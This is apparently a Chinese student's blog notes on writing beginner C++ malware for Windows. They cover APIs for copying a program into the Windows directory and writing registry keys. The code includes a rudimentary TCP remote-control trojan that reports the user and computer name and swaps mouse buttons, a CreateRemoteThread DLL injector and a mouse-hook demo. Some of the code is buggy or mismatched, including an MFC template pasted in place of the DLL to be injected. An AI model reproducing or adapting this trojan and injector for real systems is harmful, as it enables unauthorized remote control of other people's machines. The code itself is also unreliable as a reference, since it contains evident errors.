Joe1sn's Cabinet

【免杀】C++恶意软件入门笔记

C++恶意软件入门笔记,高中看的一本书,大二小小实践一下

简单的Windows API

  • 复制自身到Windows目录

    • 1-1.获得程序自生API DWORD GetModuleFileName
    • 1-2.获得windows目录 UINT GetWindowsDirectory
    • 1-3.拷贝文件 BOOL CopyFile
  • 获得系统基本参数

    • 2-1.获得操作系统版本 BOOL GetVersionEx

      • typedef struct _OSVERSIONINFOA {
                 DWORD dwOSVersionInfoSize;
                 DWORD dwMajorVersion;
                 DWORD dwMinorVersion;
                 DWORD dwBuildNumber;
                 DWORD dwPlatformId;
                 CHAR   szCSDVersion[128];     // Maintenance string for PSS usage
             } OSVERSIONINFOA, * POSVERSIONINFOA, * LPOSVERSIONINFOA;
        <!--code0-->
        
        

TCP//IP连接木马

简单的TCP/IP测试

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <iostream>
#include <Winsock2.h>

#pragma comment (lib, "ws2_32")

using namespace std;

//链接dll
// 使用该函数来初始化ws2_32.dll
//int WSAStartup

//释放Dll
// int WSACleanuo(void)

//创建的套接字
// SOCKET socket
// (WSAAPI* LPFN_SOCKET)(
// _In_ int af, //通讯协议簇
// _In_ int type, //要创建的套接字类型
// _In_ int protocol //指定程序所用的通讯协议
// );

//关闭套接字
// closesocket

//绑定IP和端口
// int bind (SOCKET s, socketaddr, int namelen)

//WSAStartup->socket->bind->listen->accept->send/recv->closesocket->WSACleanup

int main()
{
//1.初始化ws2_32.dll
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);

//2.创建socket套接字
// 通讯协议簇 套接字类型 通讯协议
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //socket对象 s
sockaddr_in sockaddr; //socket 等待对象sockaddr
sockaddr.sin_family = PF_INET;
sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//点地址
sockaddr.sin_port = htons(1000); //设置端口

//3.绑定ip和端口
bind(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR)); //将socket s 设置为socketaddr类型

//4.监听
listen(s, 1);
cout << "Start Listenning\n";

//4.等待连接
SOCKADDR clientAddr;
int nSize = sizeof(SOCKADDR);
SOCKET clientSock;
clientSock = accept(s, (SOCKADDR*)&clientAddr, &nSize);//创建连接对象
cout << "Client is on!\n";
//5.recv || send
char msg[] = "hello from server\n";

send(clientSock, msg, strlen(msg)+sizeof(char), NULL);
cout << "Sending Message\n";

//6.断开Socket
closesocket(clientSock);
closesocket(s);
cout << "Connection close\n";

//7.释放ws2_32库
WSACleanup();
cout << "Resorces clean\n";
return 0;
}

client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iostream>
#include <winsock2.h>
#pragma comment (lib,"ws2_32")

using namespace std;

//WSAstartup->socket->connect->recv/send->closesocket->WSACleanup

int main()
{

//1.初始化DLL
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);

//2.创建Socket链接对象
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family = PF_INET;
sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sockaddr.sin_port = htons(1000);

//3.连接到server
connect(s, (SOCKADDR *) &sockaddr, sizeof(SOCKADDR));

//4.设置数据缓冲区
char szBuffer[MAXBYTE];
recv(s, szBuffer, MAXBYTE, NULL);
cout << "This is msg from server\n";
cout << " " << szBuffer;

//5.关闭socket
closesocket(s);
WSACleanup();
return 0;
}

SimpleTCPTorjan

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <iostream>
#include <winsock2.h>
#include <cstring>
#pragma comment (lib, "ws2_32")
using namespace std;
const int MaxBuf = 0x50;
//1.完成功能命令的发送
//2.可以查看远程主机的相关信息,以及复制自身到可执行目录
//3.打开/关闭光驱
//4.交换和恢复鼠标左右键


//宏定义帮助菜单
#define HELP "help - Show Help Menu\n" \
"getsysinfo - Get System Info\n" \
"open - Open The CDRom\n" \
"close - Close The CSRom\n" \
"swap - Swap Mouse Button\n" \
"restore - Restore Mouse Button\n" \
"exit - Quit Shell\n"

int main()
{
//1.初始化DLL
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);

//2.创建Socket链接对象
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family = PF_INET;
sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sockaddr.sin_port = htons(1000);

//3.绑定ip和端口
bind(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR)); //将socket s 设置为socketaddr类型
listen(s, 1);

//4.等待连接
SOCKADDR clientAddr;
int nSize = sizeof(SOCKADDR);
SOCKET clientSock;
clientSock = accept(s, (SOCKADDR*)&clientAddr, &nSize);//创建连接对象
cout << "Client is on!\n";
//开始监听

char CMD[MaxBuf];
char recver[MaxBuf];
memset(CMD, 0, MaxBuf);
while (1)
{
cin >> CMD;
if (!strcmp(CMD, "help"))
cout << HELP << endl;
else if (!strcmp(CMD, "getsysinfo"))
{
send(clientSock, CMD, strlen(CMD) + sizeof(char), NULL);
char temp[MaxBuf];
memset(temp, 0, MaxBuf);
recv(s, temp, strlen(temp) + sizeof(char), NULL);
memset(temp, 0, MaxBuf);
recv(s, temp, strlen(temp) + sizeof(char), NULL);
cout << "recved?\n";
cout << temp <<endl;
}
else
send(clientSock, CMD, strlen(CMD) + sizeof(char), NULL);
memset(CMD, 0, MaxBuf);
}

//6.断开Socket
closesocket(clientSock);
closesocket(s);
cout << "Connection close\n";

//7.释放ws2_32库
WSACleanup();
cout << "Resorces clean\n";
return 0;
}

client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <iostream>
#include <winsock2.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")

using namespace std;
const int MaxBuf = 0x50;


//打开或关闭光驱
//VOID SetCdaudio(BOOL bOpen)
//{
// if (bOpen)
// mciSendStringA("set cdaudio door open",NULL,NULL,NULL);
// else
// mciSendStringA("set cdaudio door clsoed", NULL, NULL, NULL);
//}

VOID MouseSwap(BOOL bSwap)
{
if (bSwap)
SwapMouseButton(TRUE);
else
SwapMouseButton(FALSE);
}

//对命令进行解析
BOOL Dispatch(SOCKET &sock, char* szCmd)
{
BOOL bRet = FALSE;
if (!strcmp(szCmd, "getsysinfo"))
{
char szComputerName[MaxBuf];
char szUserName[MaxBuf];
DWORD buffer1 = MaxBuf;
GetComputerNameA(szComputerName, &buffer1);
DWORD buffer2 = MaxBuf;
GetUserNameA(szUserName, &buffer2);
strcat(szUserName, "@");
strcat(szUserName, szComputerName);
cout << szUserName << endl;
send(sock, szUserName, strlen(szUserName) + sizeof(char),NULL);
bRet = 1;
}
//else if (!strcmp(szCmd, "open"))
//{
// SetCdaudio(1);
// bRet = 1;
//}
//else if (!strcmp(szCmd, "clsoe"))
//{
// SetCdaudio(0);
// bRet = 1;
//}
else if (!strcmp(szCmd, "swap"))
{
MouseSwap(1);
bRet = 1;
}
else if (!strcmp(szCmd, "restore"))
{
MouseSwap(0);
bRet = 1;
}
else if (!strcmp(szCmd, "exit"))
exit(0);
else
bRet = 0;
return bRet;
}

int main()
{
//1.初始化DLL
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);

//2.创建Socket链接对象
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family = PF_INET;
sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sockaddr.sin_port = htons(1000);

//3.连接到server
connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

//4.设置数据缓冲区
char szBuffer[MAXBYTE];
memset(szBuffer, 0, MaxBuf);

while (1)
{
if (s)
{
recv(s, szBuffer, MAXBYTE, NULL);
cout << szBuffer << endl;
Dispatch(s, szBuffer);
memset(szBuffer, 0, MaxBuf);
}
}

//5.关闭socket
closesocket(s);
WSACleanup();
return 0;
}

client回传计算机相关信息有问题

Windows文件操作相关API

注册表相关

1.打开注册表

1
2
3
4
5
6
7
8
WINADVAPI
LSTATUS
APIENTRY
RegOpenKeyA (
_In_ HKEY hKey,
_In_opt_ LPCSTR lpSubKey,
_Out_ PHKEY phkResult
);

使用

1
2
HKEY hKey;
long lRet = RegOpenKey(keysname, REG_RUN, &hKey);

2.注册表查询

https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryinfokeya

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
WINADVAPI
LSTATUS
APIENTRY
RegQueryInfoKeyA(
_In_ HKEY hKey, //子键句柄
_Out_writes_to_opt_(*lpcchClass,*lpcchClass + 1) LPSTR lpClass, //指向缓冲区的指针,该缓冲区接收用户定义的键类。此参数可以为NULL。
_Inout_opt_ LPDWORD lpcchClass, //该变量指定lpClass参数指向的缓冲区的大小
_Reserved_ LPDWORD lpReserved, //此参数是保留参数,必须为NULL。
_Out_opt_ LPDWORD lpcSubKeys, //指向一个变量的指针,该变量接收指定键所包含的子键的数量。此参数可以为NULL
_Out_opt_ LPDWORD lpcbMaxSubKeyLen,//指向变量的指针,该变量以最长的名称接收键的子键的大小,以Unicode字符表示,不包括终止的空字符
_Out_opt_ LPDWORD lpcbMaxClassLen,//指向变量的指针,该变量接收以Unicode字符表示的指定子项类的最长字符串的大小
_Out_opt_ LPDWORD lpcValues, //指向变量的指针,该变量接收与键关联的值的数量
_Out_opt_ LPDWORD lpcbMaxValueNameLen,//指向变量的指针,该变量接收键的最长值名称的大小(以Unicode字符表示)
_Out_opt_ LPDWORD lpcbMaxValueLen,//指向一个变量的指针,该变量接收键值中最长的数据分量的大小(以字节为单位)
_Out_opt_ LPDWORD lpcbSecurityDescriptor,//指向一个变量的指针,该变量接收密钥的安全描述符的大小
_Out_opt_ PFILETIME lpftLastWriteTime//指向接收最后写入时间的FILETIME结构的指针 。此参数可以为NULL
);

3.注册表写入

1
2
3
4
5
6
7
8
9
10
11
WINADVAPI
LSTATUS
APIENTRY
RegSetKeyValueA(
_In_ HKEY hKey,
_In_opt_ LPCSTR lpSubKey,
_In_opt_ LPCSTR lpValueName,
_In_ DWORD dwType,
_In_reads_bytes_opt_(cbData) LPCVOID lpData,
_In_ DWORD cbData
);

4.注册表值的枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
WINADVAPI
LSTATUS
APIENTRY
RegEnumKeyExA(
_In_ HKEY hKey,
_In_ DWORD dwIndex, //查询索引
_Out_writes_to_opt_(*lpcchName,*lpcchName + 1) LPSTR lpName,//子键名称
_Inout_ LPDWORD lpcchName, //如果函数成功,则由lpcName指向的变量将包含存储在缓冲区中的字符数,不包括终止的空字符
_Reserved_ LPDWORD lpReserved, //此参数是保留参数,必须为NULL
_Out_writes_to_opt_(*lpcchClass,*lpcchClass + 1) LPSTR lpClass,//该缓冲区接收枚举子项的用户定义类
_Inout_opt_ LPDWORD lpcchClass, //如果函数成功,则lpcClass包含缓冲区中存储的字符数,不包括终止的空字符
_Out_opt_ PFILETIME lpftLastWriteTime//指向FILETIME结构的指针,该结构接收上一次写入枚举子键的时间
);

5.键值删除

1
2
3
4
5
6
7
WINADVAPI
LSTATUS
APIENTRY
RegDeleteKeyA (
_In_ HKEY hKey,
_In_ LPCSTR lpSubKey
);

文件操作相关

1.打开文件

1
2
3
4
5
6
7
8
9
CreateFileA(
_In_ LPCSTR lpFileName, //要打开的文件名字
_In_ DWORD dwDesiredAccess, //访问模式
_In_ DWORD dwShareMode, //文件的共享模式
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, //安全属性
_In_ DWORD dwCreationDisposition, //创建或打开文件不存在时的操作
_In_ DWORD dwFlagsAndAttributes, //创建或打开文件的标志和属性
_In_opt_ HANDLE hTemplateFile //文件模板
);

2.关闭文件

1
2
3
CloseHandle(
_In_ _Post_ptr_invalid_ HANDLE hObject
);

3.删除文件

1
2
3
4
5
BOOL
WINAPI
DeleteFileA(
_In_ LPCSTR lpFileName
);

4.读函数

1
2
3
4
5
6
7
8
9
10
11
WINBASEAPI
_Must_inspect_result_
BOOL
WINAPI
ReadFile(
_In_ HANDLE hFile, //文件句柄
_Out_writes_bytes_to_opt_(nNumberOfBytesToRead, *lpNumberOfBytesReashud) __out_data_source(FILE) LPVOID lpBuffer, //指向一个缓冲区,把数据读取到里面
_In_ DWORD nNumberOfBytesToRead, //要读取的字节数
_Out_opt_ LPDWORD lpNumberOfBytesRead, //返回实际的读取数
_Inout_opt_ LPOVERLAPPED lpOverlapped //一般设置为NULL
);

5.写函数

1
2
3
4
5
6
7
8
9
10
WINBASEAPI
BOOL
WINAPI
WriteFile(
_In_ HANDLE hFile,
_In_reads_bytes_opt_(nNumberOfBytesToWrite) LPCVOID lpBuffer,
_In_ DWORD nNumberOfBytesToWrite,
_Out_opt_ LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);

6.设置文件指针

1
2
3
4
5
6
7
8
9
WINBASEAPI
DWORD
WINAPI
SetFilePointer(
_In_ HANDLE hFile, //打开的文件句柄
_In_ LONG lDistanceToMove, //指定要移动的距离
_Inout_opt_ PLONG lpDistanceToMoveHigh, //要移动距离的高32位
_In_ DWORD dwMoveMethod //指定移动位置
);

7.创建目录

1
2
3
4
5
6
7
WINBASEAPI
BOOL
WINAPI
CreateDirectoryA(
_In_ LPCSTR lpPathName,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

8.移动目录

1
2
3
4
5
6
WINBASEAPI
BOOL
WINAPI
RemoveDirectoryA(
_In_ LPCSTR lpPathName
);

AutoImmunity的MFC初体验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106

// AutoRunImmunity.cpp: 定义应用程序的类行为。
//

#include "pch.h"
#include "framework.h"
#include "AutoRunImmunity.h"
#include "AutoRunImmunityDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif


// CAutoRunImmunityApp

BEGIN_MESSAGE_MAP(CAutoRunImmunityApp, CWinApp)
ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
END_MESSAGE_MAP()


// CAutoRunImmunityApp 构造

CAutoRunImmunityApp::CAutoRunImmunityApp()
{
// 支持重新启动管理器
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;

// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}


// 唯一的 CAutoRunImmunityApp 对象

CAutoRunImmunityApp theApp;


// CAutoRunImmunityApp 初始化

BOOL CAutoRunImmunityApp::InitInstance()
{
// 如果一个运行在 Windows XP 上的应用程序清单指定要
// 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式,
//则需要 InitCommonControlsEx()。 否则,将无法创建窗口。
INITCOMMONCONTROLSEX InitCtrls;
InitCtrls.dwSize = sizeof(InitCtrls);
// 将它设置为包括所有要在应用程序中使用的
// 公共控件类。
InitCtrls.dwICC = ICC_WIN95_CLASSES;
InitCommonControlsEx(&InitCtrls);

CWinApp::InitInstance();


AfxEnableControlContainer();

// 创建 shell 管理器,以防对话框包含
// 任何 shell 树视图控件或 shell 列表视图控件。
CShellManager *pShellManager = new CShellManager;

// 激活“Windows Native”视觉管理器,以便在 MFC 控件中启用主题
CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows));

// 标准初始化
// 如果未使用这些功能并希望减小
// 最终可执行文件的大小,则应移除下列
// 不需要的特定初始化例程
// 更改用于存储设置的注册表项
// TODO: 应适当修改该字符串,
// 例如修改为公司或组织名
SetRegistryKey(_T("应用程序向导生成的本地应用程序"));

CAutoRunImmunityDlg dlg;
m_pMainWnd = &dlg;
INT_PTR nResponse = dlg.DoModal();
if (nResponse == IDOK)
{
// TODO: 在此放置处理何时用
// “确定”来关闭对话框的代码
}
else if (nResponse == IDCANCEL)
{
// TODO: 在此放置处理何时用
// “取消”来关闭对话框的代码
}
else if (nResponse == -1)
{
TRACE(traceAppMsg, 0, "警告: 对话框创建失败,应用程序将意外终止。\n");
TRACE(traceAppMsg, 0, "警告: 如果您在对话框上使用 MFC 控件,则无法 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS。\n");
}

// 删除上面创建的 shell 管理器。
if (pShellManager != nullptr)
{
delete pShellManager;
}

#if !defined(_AFXDLL) && !defined(_AFX_NO_MFC_CONTROLS_IN_DIALOGS)
ControlBarCleanUp();
#endif

// 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序,
// 而不是启动应用程序的消息泵。
return FALSE;
}

DLL注入

DLL_Helloworld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

const int MaxLen = 0x50;

//extern "C" __declspec(dllexport)
//VOID MsgBox(wchar_t*szMsg)
//{
// wchar_t szModuleName[MaxLen];
// GetModuleFileName(NULL, szModuleName, MaxLen);
// MessageBox(NULL,szMsg,szModuleName,MB_OK);
//}

VOID MsgBox(wchar_t* szMsg)
{
wchar_t szModuleName[MaxLen];
GetModuleFileName(NULL, szModuleName, MaxLen);
MessageBoxW(NULL, szMsg, szModuleName, MB_OK);
}

BOOL APIENTRY DllMain(HMODULE hModule, //DLL模块句柄
DWORD ul_reason_for_call,//被调用原因
LPVOID lpReserved //保留想,傻逼windows
)//入口函数
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(NULL, "HI", "Attached", MB_OK);
break;
}
case DLL_THREAD_ATTACH:
{
MsgBox((wchar_t*)"Thread attached");
break;
}
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

DLL注入

注入器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <iostream>
#include <windows.h>
#include <string>
#include <cstring>

const int MaxLen = 0x50;
using namespace std;

int main()
{
char DllPath[MaxLen];
DWORD PID;
cout << "Which DLL To Load?\n";
cin >> DllPath;
if (DllPath == NULL)
cout << "This Dll Not exsits\n";
cout << DllPath << endl;
//LoadLibraryA((LPCSTR)DllPath);

cout << "Which Program want to hijack?\n";
cin >> PID;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);
if (hProcess == NULL)
{
cout << "This process is missing\n";
exit(-1);
}
int DllLen = strlen(DllPath) + sizeof(char);

PVOID pDllAddr = VirtualAllocEx(
hProcess,NULL,DllLen,MEM_COMMIT,PAGE_READWRITE
);
if (pDllAddr == NULL)
{
CloseHandle(hProcess);
cout << "Handle ERROR\n";
exit(-1);
}
DWORD dwWriteNum = 0;
cout << "Writting Mem\n";
WriteProcessMemory(
hProcess, pDllAddr, DllPath, DllLen, &dwWriteNum
);

cout << "GetProcAddr\n";
FARPROC pFunAddr = GetProcAddress(
GetModuleHandle((LPCWSTR)"kernel32.dll"), "LoadLibraryA"
);

cout << "CreateRemoteThread\n";
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunAddr, pDllAddr, 0, NULL
);
cout << "Close Handles\n";
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);

}

待注入DLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106

// Injector.cpp: 定义应用程序的类行为。
//

#include "pch.h"
#include "framework.h"
#include "Injector.h"
#include "InjectorDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif


// CInjectorApp

BEGIN_MESSAGE_MAP(CInjectorApp, CWinApp)
ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
END_MESSAGE_MAP()


// CInjectorApp 构造

CInjectorApp::CInjectorApp()
{
// 支持重新启动管理器
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;

// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}


// 唯一的 CInjectorApp 对象

CInjectorApp theApp;


// CInjectorApp 初始化

BOOL CInjectorApp::InitInstance()
{
// 如果一个运行在 Windows XP 上的应用程序清单指定要
// 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式,
//则需要 InitCommonControlsEx()。 否则,将无法创建窗口。
INITCOMMONCONTROLSEX InitCtrls;
InitCtrls.dwSize = sizeof(InitCtrls);
// 将它设置为包括所有要在应用程序中使用的
// 公共控件类。
InitCtrls.dwICC = ICC_WIN95_CLASSES;
InitCommonControlsEx(&InitCtrls);

CWinApp::InitInstance();


AfxEnableControlContainer();

// 创建 shell 管理器,以防对话框包含
// 任何 shell 树视图控件或 shell 列表视图控件。
CShellManager *pShellManager = new CShellManager;

// 激活“Windows Native”视觉管理器,以便在 MFC 控件中启用主题
CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows));

// 标准初始化
// 如果未使用这些功能并希望减小
// 最终可执行文件的大小,则应移除下列
// 不需要的特定初始化例程
// 更改用于存储设置的注册表项
// TODO: 应适当修改该字符串,
// 例如修改为公司或组织名
SetRegistryKey(_T("应用程序向导生成的本地应用程序"));

CInjectorDlg dlg;
m_pMainWnd = &dlg;
INT_PTR nResponse = dlg.DoModal();
if (nResponse == IDOK)
{
// TODO: 在此放置处理何时用
// “确定”来关闭对话框的代码
}
else if (nResponse == IDCANCEL)
{
// TODO: 在此放置处理何时用
// “取消”来关闭对话框的代码
}
else if (nResponse == -1)
{
TRACE(traceAppMsg, 0, "警告: 对话框创建失败,应用程序将意外终止。\n");
TRACE(traceAppMsg, 0, "警告: 如果您在对话框上使用 MFC 控件,则无法 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS。\n");
}

// 删除上面创建的 shell 管理器。
if (pShellManager != nullptr)
{
delete pShellManager;
}

#if !defined(_AFXDLL) && !defined(_AFX_NO_MFC_CONTROLS_IN_DIALOGS)
ControlBarCleanUp();
#endif

// 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序,
// 而不是启动应用程序的消息泵。
return FALSE;
}

Hook编程(进程Hook)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <windows.h>




LRESULT CALLBACK WindowProc(
//CALLBACK 从右向左入栈
//LRESULT long
//该函数处理窗口消息

HWND hWnd,//窗口句柄类型
UINT uMsg,//unsigned int, 消息
WPARAM wParam,//unsigned int
LPARAM lParam //long int

);

HHOOK MouseHook;
//鼠标钩子处理函数
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam);


int WINAPI WinMain( //窗口应用GUI
HINSTANCE hInstance, //当前程序的实例句柄
//HINSTANCE :实例句柄类型

HINSTANCE hPreInstance, //为了兼容16位应用程序,永远为空

LPSTR lpCmdLine, //命令行参数
//LPSTR:char *

int nCmdShow //窗口的显示方式
)
{

//1.做一个窗口
//1.1设计窗口类 Spy++
TCHAR szAppClassName[] = TEXT("Joe1sn");//自动适应字符集
WNDCLASS wndClass = { 0 };
wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);//加载白色画刷
wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);//加载光标
wndClass.hInstance = hInstance;//当前窗口实例句柄
wndClass.lpfnWndProc = WindowProc;//窗口处理函数
wndClass.lpszClassName = szAppClassName;//窗口类型
wndClass.style = CS_HREDRAW | CS_VREDRAW; //窗口类的风格

//1.2注册窗口类
RegisterClass(&wndClass);

//1.3创建窗口类
HWND hWnd = CreateWindow(szAppClassName,
TEXT("Test"),
WS_BORDER | WS_CAPTION | WS_SYSMENU | WS_MAXIMIZEBOX | WS_MINIMIZEBOX,
500, 200, 800, 600,
NULL, NULL, hInstance, NULL
);

//1.4显示和更新窗口
ShowWindow(hWnd,SW_SHOW);//显示
UpdateWindow(hWnd);//更新窗口

//1.5消息循环
//(参考QT的信号和槽?)
//应用程序->操作系统->消息队列->应用程序
MSG msg;
while (GetMessage(&msg,NULL,0,0))//所有消息都要获取
//WM_QIT,返回0,结束循环
{
//将虚拟键消息转为字符消息
//windows只能识别虚拟键值 VK_UP VK_DOWN
TranslateMessage(&msg);

//将消息分发给窗口处理函数
//这里是WinProc
DispatchMessage(&msg);
}



return 0;
}

//鼠标钩子处理函数
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//int x = LOWORD(lParam);
//int y = HIWORD(lParam);

//x += 100;
//lParam = MAKELONG(x,y);

/*if (wParam == VK_F2)
{
SendMessage(hWnd, WM_CLOSE, 0, 0);
UnhookWindowsHookW(MouseHook);
}*/

return CallNextHookEx(MouseHook,nCode,wParam,lParam);//向下传递
//return 1;//返回非0,表示消息已被处理,这样系统就不会把这个消息传递给程序
}

LRESULT CALLBACK WindowProc(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
PAINTSTRUCT ps;//
HDC hDC;//绘图DC

switch (uMsg)
{
//进程类hook
case WM_CREATE://窗口创建消息
{
//安装hook
MouseHook = SetWindowsHookEx(WH_MOUSE, MouseProc, NULL, GetCurrentThreadId());
break;
}
case WM_CLOSE://窗口关闭消息
DestroyWindow(hWnd);
break;
case WM_DESTROY://窗口销毁消息
PostQuitMessage(0);//发送WM_QUIT就会退出
case WM_PAINT://窗口绘图消息
{
hDC = BeginPaint(hWnd, &ps);
HPEN hPen = CreatePen(PS_SOLID, 5, RGB(255, 0, 0));
SelectObject(hDC, hPen);

Ellipse(hDC, 0, 0, 200, 200);

EndPaint(hWnd, &ps);
}
case WM_LBUTTONDOWN://鼠标左键点击消息
{
MessageBox(hWnd, TEXT("Left"), TEXT("Titile"), MB_OK);
break;
}
case WM_RBUTTONDOWN://鼠标右键点击消息
{
MessageBox(hWnd, TEXT("Right"), TEXT("Titile"), MB_OK);
break;
}
case WM_MOUSEMOVE:
{
int x = LOWORD(lParam);
int y = HIWORD(lParam);
wchar_t str[0x100];
wsprintf(str, L"当前鼠标坐标(%d , %d)",x,y);
//SetWindowText(hWnd, TEXT("In"));
SetWindowText(hWnd, str);
}

}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}